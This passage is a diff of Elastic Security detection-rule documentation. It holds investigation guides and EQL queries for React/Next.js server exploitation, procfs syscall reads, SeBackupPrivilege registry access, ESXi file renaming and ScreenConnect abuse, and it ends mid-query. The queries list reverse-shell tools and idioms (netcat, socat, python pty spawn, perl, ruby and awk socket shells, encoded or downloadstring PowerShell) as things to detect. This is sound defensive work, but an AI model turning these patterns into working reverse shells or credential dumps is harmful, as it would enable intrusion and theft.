+> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious React Server Child Process* + + +This rule flags suspicious shell or system utility processes spawned by a React or Next.js server application—clear evidence of CVE-2025-55182 or CVE-2025-66478 exploitation enabling arbitrary code execution. An attacker sends a specially crafted RSC Flight protocol payload to a vulnerable Next.js or React Server Components endpoint, causing the server to deserialize untrusted data and execute attacker-controlled JavaScript, which then spawns shell commands or system utilities to establish initial access and persistence. + + +*Possible investigation steps* + + +- Extract the parent Node.js process command line and working directory to identify the React or Next.js application, then check package.json or package-lock.json for React version (19.0-19.2) and Next.js version (14.3.0-canary, 15.x, 16.x) to confirm vulnerability. +- Review web server access logs (Nginx, Apache, ALB) for suspicious POST requests to RSC endpoints (/_next/data/, /.next/, /api/) in the minutes before the shell spawn, focusing on requests with unusual Content-Type headers (text/x-component, application/rsc) or large payload sizes. +- Analyze the spawned child process command line, arguments, working directory, and any downloaded files or scripts to identify the payload type (reverse shell, data exfiltration, credential theft, persistence mechanism) and compute file hashes for threat intelligence correlation. +- Pivot on the source IP address from web logs across other hosts and applications to identify additional compromised servers, and check for lateral movement attempts or scanning activity from the compromised host to internal networks. +- Examine the host for post-exploitation artifacts including new cron jobs, modified .bashrc/.profile files, SSH authorized_keys additions, new user accounts, unusual network connections to external IPs, files in /tmp or /var/tmp directories, and container escape attempts (nsenter, docker socket access). + + +*False positive analysis* + + +- Legitimate build or deployment scripts triggered by CI/CD pipelines may cause Next.js build workers (jest-worker/processChild.js) to spawn shell commands; filter these by excluding processes with --node-ipc flags or running in /builds/, /workspace/, or other CI directories. +- Development servers (next dev, expo start, react-scripts start) running on developer workstations may spawn legitimate shells for tooling; consider excluding NODE_ENV=development or processes running from user home directories if appropriate for your environment. +- Server-side rendering (SSR) frameworks may legitimately invoke system utilities for image processing, PDF generation, or other server-side tasks; maintain an allowlist of expected child processes and their arguments for known applications. + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent lateral movement, terminate the Node.js parent process and all child processes spawned from the React/Next.js server, and block the source IP address at the firewall and WAF level. +- Remove any persistence mechanisms installed by the attacker including cron jobs (check crontab -l for all users), modified shell initialization files (~/.bashrc, ~/.profile, /etc/profile.d/), SSH keys in ~/.ssh/authorized_keys, and systemd timers or service units. +- Rotate all credentials and secrets accessible to the compromised application including database passwords, API keys, cloud service credentials (AWS/Azure/GCP), and session tokens, assuming they may have been exfiltrated. +- Collect forensic artifacts including memory dumps of the Node.js process (if still running), packet captures of the malicious HTTP request, web server access and error logs, application logs from the React/Next.js server, and copies of any files created in /tmp, /var/tmp, or the application directory. +- Escalate to incident command if the attacker achieved container escape (nsenter usage detected), accessed sensitive data or credentials, established C2 communication to external infrastructure, or if multiple hosts show similar exploitation patterns from the same source. +- Patch immediately by upgrading React to version 19.0.1+, 19.1.2+, or 19.2.1+, and Next.js to versions 14.3.0-canary.88+, 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, or 16.0.7+ depending on your major version, and deploy WAF rules to block malformed RSC payloads at the application edge. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "executed", "start", "process_started") and ( + process.name in ( + "sh", "bash", "zsh", "dash", "curl", "wget", "id", "whoami", "uname", "cmd.exe", "cat", "powershell.exe", "java", "rundll32.exe", "wget.exe", "certutil.exe", + "nc", "ncat", "netcat", "nc.openbsd", "nc.traditional", "socat", "busybox", "mkfifo", "nohup", "setsid", "xterm" + ) or + (process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + )) or + (process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + )) or + (process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + )) or + (process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + )) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name == "node" and process.args == "-e" and process.args : "*spawn*sh*" and process.args : "*connect*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name in ("rvim", "vim", "vimdiff", "rview", "view") and process.args == "-c" and process.args : "*socket*") +) +and ( + ?process.working_directory : ( + "*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*bin/next*", "*.pnpm/next*", "*next/dist/server*", "*react-scripts*") or + ( + process.parent.name in ("node", "bun", "node.exe", "bun.exe") and + process.parent.command_line : ( + "*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "* server.js*", "*start-server.js*", "*bin/next*", + "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*" + ) + ) +) and not ( + ?process.parent.executable in ("./runc", "/opt/google/chrome/chrome") or + process.command_line like "/bin/sh -c git config*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-reading-of-procfs-syscall-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-reading-of-procfs-syscall-file.asciidoc new file mode 100644 index 0000000000..3bd84fee2e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-reading-of-procfs-syscall-file.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-suspicious-reading-of-procfs-syscall-file]] +=== Suspicious Reading of procfs Syscall File + +This rule detects command lines that reference another process or thread's procfs syscall file. The "/proc//syscall" interface exposes the current syscall arguments, stack pointer, and instruction pointer, which can support process discovery and preparation for process injection. Self and thread-self aliases are excluded. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man5/proc_pid_syscall.5.html +* https://www.akamai.com/blog/security-research/the-definitive-guide-to-linux-process-injection + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Platform: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Reading of procfs Syscall File* + + +This rule detects Linux utilities reading another process or thread’s `/proc//syscall` file, which exposes its active system call, arguments, stack pointer, and instruction pointer and can support process discovery or injection preparation. An attacker may repeatedly run `cat /proc/1234/syscall` to inspect a privileged service’s execution state before selecting it as an injection target. + + +*Possible investigation steps* + + +- Resolve the referenced PID to its executable, owner, privileges, container or namespace, and service role to determine why it was targeted. +- Review the reader’s full command line, parent process, user, working directory, executable path, hash, signature, and surrounding process tree for evidence of scripts, shells, or unauthorized tooling. +- Correlate nearby activity for repeated procfs enumeration, `ptrace` use, debugger attachment, access to `/proc//mem` or `/proc//maps`, suspicious signal delivery, and credential or privilege changes. +- Compare the activity with host baselines and approved monitoring or troubleshooting workflows, then examine whether the same user, binary, or command pattern appears on other systems. +- If unexplained or malicious, isolate the host, preserve process and audit telemetry, terminate unauthorized processes, revoke exposed credentials, and investigate the initial access and persistence mechanism. + + +*False positive analysis* + + +- An administrator troubleshooting a stalled or high-resource process may read its `/proc//syscall` file; confirm the target PID, initiating user, parent shell, timing, and alignment with an approved support activity. +- An authorized diagnostic or monitoring script may periodically inspect process syscall state using standard Linux utilities; verify the script path, owner, execution schedule, expected target processes, and consistency with the host’s established baseline. + + +*Response and remediation* + + +- Isolate the affected Linux host or container while preserving volatile evidence, including the reader process, targeted PID, process tree, open files, network connections, and relevant `/proc` artifacts. +- Terminate unauthorized processes and remove persistence associated with the activity, including malicious systemd units, cron entries, shell startup modifications, container hooks, kernel modules, and altered binaries. +- Revoke credentials or tokens accessible to the implicated accounts and processes, rotate affected secrets, and review privileged accounts for unauthorized SSH keys or sudo configuration changes. +- Escalate immediately to incident response if the activity includes `ptrace`, access to `/proc//mem` or `/proc//maps`, code injection indicators, privileged-process targeting, credential theft, or similar behavior on multiple systems. +- Rebuild compromised hosts or containers from verified images, restore validated data and configuration, patch exploited software, and confirm that unauthorized files, processes, accounts, and connections are absent before reconnecting them. +- Harden the environment by restricting procfs visibility with `hidepid`, enforcing least privilege and ptrace restrictions, strengthening SELinux or AppArmor policies, limiting debugging tools, and monitoring repeated access to other processes’ procfs files. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + process.name in ( + "cat", "less", "more", "head", "tail", "nano", "vi", "vim", "strings", "nvim", "vim.basic", + "vim.tiny", "od", "hexdump", "xxd", "hx", "hexedit", "pager", "tr" + ) or + ( + process.name in ( + "find", "awk", "gawk", "mawk", "nawk", "grep", "fgrep", "rgrep", "xargs", "sed", "tee" + ) and + process.args_count <= 20 + ) +) and +process.command_line like "*/proc/*/syscall*" and +not ( + process.command_line like ("*/proc/self/syscall*", "*/proc/thread-self/syscall*") or + process.args like "/proc/*/syscall/comm" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc new file mode 100644 index 0000000000..fe95bd6687 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-suspicious-remote-registry-access-via-sebackupprivilege]] +=== Suspicious Remote Registry Access via SeBackupPrivilege + +Identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/mpgn/BackupOperatorToDA +* https://raw.githubusercontent.com/Wh04m1001/Random/main/BackupOperators.cpp +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Credential Access +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Remote Registry Access via SeBackupPrivilege* + + +SeBackupPrivilege is a privilege that allows file content retrieval, designed to enable users to create backup copies of the system. Since it is impossible to make a backup of something you cannot read, this privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any access control list (ACL) placed in the system. + +This rule identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the activities done by the subject user the login session. The field `winlog.event_data.SubjectLogonId` can be used to get this data. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate abnormal behaviors observed by the subject user such as network connections, registry or file modifications, and processes created. +- Investigate if the registry file was retrieved or exfiltrated. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Limit or disable the involved user account to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-detailed-file-share[Audit Detailed File Share] +- https://ela.st/audit-special-logon[Audit Special Logon] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, winlog.event_data.SubjectLogonId with maxspan=1m + [iam where host.os.type == "windows" and event.action == "logged-in-special" and + winlog.event_data.PrivilegeList : "SeBackupPrivilege" and + + /* excluding accounts with existing privileged access */ + not winlog.event_data.PrivilegeList : "SeDebugPrivilege"] + [any where host.os.type == "windows" and event.code == "5145" and winlog.event_data.RelativeTargetName : "winreg"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-renaming-of-esxi-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-renaming-of-esxi-files.asciidoc new file mode 100644 index 0000000000..a0335bc606 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-renaming-of-esxi-files.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-suspicious-renaming-of-esxi-files]] +=== Suspicious Renaming of ESXI Files + +Identifies instances where VMware-related files, such as those with extensions like ".vmdk", ".vmx", ".vmxf", ".vmsd", ".vmsn", ".vswp", ".vmss", ".nvram", and ".vmem", are renamed on a Linux system. The rule monitors for the "rename" event action associated with these file types, which could indicate malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Renaming of ESXI Files* + + +VMware ESXi files are critical for virtual machine operations, storing configurations and states. Adversaries may rename these files to evade detection or disrupt services, a tactic known as masquerading. The detection rule identifies renaming events of specific VMware file types on Linux systems, flagging potential malicious activity by monitoring deviations from expected file extensions. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file that was renamed, including its original and new name, to understand the nature of the change. +- Check the timestamp of the rename event to correlate it with other activities on the system, such as user logins or other file operations, to identify potential patterns or anomalies. +- Investigate the user account or process responsible for the rename action by examining system logs or user activity to determine if the action was authorized or suspicious. +- Analyze the system for any other recent rename events involving VMware-related files to assess if this is an isolated incident or part of a broader pattern. +- Examine the system for signs of compromise or unauthorized access, such as unexpected processes, network connections, or changes in system configurations, to identify potential threats. +- Consult with relevant stakeholders, such as system administrators or security teams, to verify if the rename action was part of a legitimate maintenance or operational task. + + +*False positive analysis* + + +- Routine maintenance or administrative tasks may involve renaming VMware ESXi files for organizational purposes. To manage this, identify and exclude specific users or processes that regularly perform these tasks from triggering alerts. +- Automated backup or snapshot processes might rename files temporarily as part of their operation. Review and whitelist these processes to prevent unnecessary alerts. +- Development or testing environments often involve frequent renaming of virtual machine files for configuration testing. Consider excluding these environments from the rule or setting up a separate monitoring profile with adjusted thresholds. +- System updates or patches might include scripts that rename files as part of the update process. Verify and exclude these scripts if they are known and trusted. +- Custom scripts or tools used by IT teams for managing virtual machines may rename files as part of their functionality. Ensure these scripts are documented and excluded from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or potential spread of malicious activity. +- Verify the integrity of the renamed VMware ESXi files by comparing them with known good backups or snapshots, and restore any altered files from a secure backup if necessary. +- Conduct a thorough review of recent system logs and user activity to identify any unauthorized access or actions that may have led to the file renaming. +- Revert any unauthorized changes to system configurations or permissions that may have facilitated the renaming of critical files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts at file masquerading or other suspicious activities. +- Review and update access controls and permissions for VMware ESXi files to ensure only authorized users have the ability to rename or modify these files. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "rename" and ( + file.Ext.original.name : ("*.vmdk", "*.vmx", "*.vmxf", "*.vmsd", "*.vmsn", "*.vswp", "*.vmss", "*.nvram", "*.vmem") or + (file.name == "index.html" and file.Ext.original.path like "/usr/lib/vmware/*") +) +and not ( + file.name : ("*.vmdk", "*.vmx", "*.vmxf", "*.vmsd", "*.vmsn", "*.vswp", "*.vmss", "*.nvram", "*.vmem") or + process.executable like ( + "/usr/sbin/gdm", "/usr/share/dotnet/dotnet", "/usr/bin/dotnet", "/usr/sbin/apache2", + "/var/lib/docker/overlay2/*/usr/bin/dotnet", "/usr/lib/3cxpbx/3cxSystemService" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-screenconnect-client-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-screenconnect-client-child-process.asciidoc new file mode 100644 index 0000000000..b69410d3b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-screenconnect-client-child-process.asciidoc @@ -0,0 +1,241 @@ +[[prebuilt-rule-8-19-34-suspicious-screenconnect-client-child-process]] +=== Suspicious ScreenConnect Client Child Process + +Identifies suspicious processes being spawned by the ScreenConnect client processes. This activity may indicate execution abusing unauthorized access to the ScreenConnect remote access software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Remote Management Tool Abuse +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious ScreenConnect Client Child Process* + + +ScreenConnect, a remote access tool, facilitates legitimate remote support but can be exploited by adversaries to execute unauthorized commands. Malicious actors may spawn processes like PowerShell or cmd.exe via ScreenConnect to perform harmful activities. The detection rule identifies such suspicious child processes, focusing on unusual arguments and process names, indicating potential abuse of remote access capabilities. + + +*Possible investigation steps* + + +- Review the parent process name to confirm it is one of the ScreenConnect client processes listed in the query, such as ScreenConnect.ClientService.exe or ScreenConnect.WindowsClient.exe, to verify the source of the suspicious activity. +- Examine the child process name and arguments, such as powershell.exe with encoded commands or cmd.exe with /c, to identify potentially malicious actions or commands being executed. +- Check the network activity associated with the suspicious process, especially if the process arguments include network-related terms like *http* or *downloadstring*, to determine if there is any unauthorized data exfiltration or command and control communication. +- Investigate the user account under which the suspicious process was executed to assess if the account has been compromised or is being misused. +- Correlate the event with other security alerts or logs from data sources like Elastic Defend or Microsoft Defender XDR to gather additional context and identify any related malicious activities. +- Review the system's recent activity and changes, such as new scheduled tasks or services created by schtasks.exe or sc.exe, to identify any persistence mechanisms that may have been established by the attacker. + + +*False positive analysis* + + +- Legitimate IT support activities using ScreenConnect may trigger the rule when executing scripts or commands for maintenance. To manage this, identify and whitelist specific IT support accounts or IP addresses that regularly perform these actions. +- Automated scripts or scheduled tasks that use ScreenConnect for routine operations might be flagged. Review and document these scripts, then create exceptions for known benign processes and arguments. +- Software updates or installations initiated through ScreenConnect can appear suspicious. Maintain a list of approved software and update processes, and exclude these from the rule. +- Internal security tools or monitoring solutions that leverage ScreenConnect for legitimate purposes may be detected. Verify these tools and add them to an exclusion list to prevent false positives. +- Training sessions or demonstrations using ScreenConnect to showcase command-line tools could be misinterpreted as threats. Ensure these sessions are logged and recognized as non-threatening, and adjust the rule to accommodate these scenarios. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified in the alert, such as PowerShell, cmd.exe, or other flagged executables, to halt any ongoing malicious activity. +- Review and revoke any unauthorized user accounts or privileges that may have been created or modified using tools like net.exe or schtasks.exe. +- Conduct a thorough scan of the affected system using endpoint protection tools to identify and remove any malware or unauthorized software installed by the attacker. +- Restore the system from a known good backup if any critical system files or configurations have been altered or compromised. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for ScreenConnect and other remote access tools to detect similar activities in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : + ("ScreenConnect.ClientService.exe", + "ScreenConnect.WindowsClient.exe", + "ScreenConnect.WindowsBackstageShell.exe", + "ScreenConnect.WindowsFileManager.exe") and + ( + (process.name : "powershell.exe" and + process.args : ("-enc", "-ec", "-e", "*downloadstring*", "*Reflection.Assembly*", "*http*")) or + (process.name : "cmd.exe" and process.args : "/c") or + (process.name : "net.exe" and process.args : "/add") or + (process.name : "schtasks.exe" and process.args : ("/create", "-create")) or + (process.name : "sc.exe" and process.args : "create") or + (process.name : "rundll32.exe" and not process.args : "url.dll,FileProtocolHandler") or + (process.name : "msiexec.exe" and process.args : ("/i", "-i") and + process.args : ("/q", "/quiet", "/qn", "-q", "-quiet", "-qn", "-Q+")) or + process.name : ("mshta.exe", 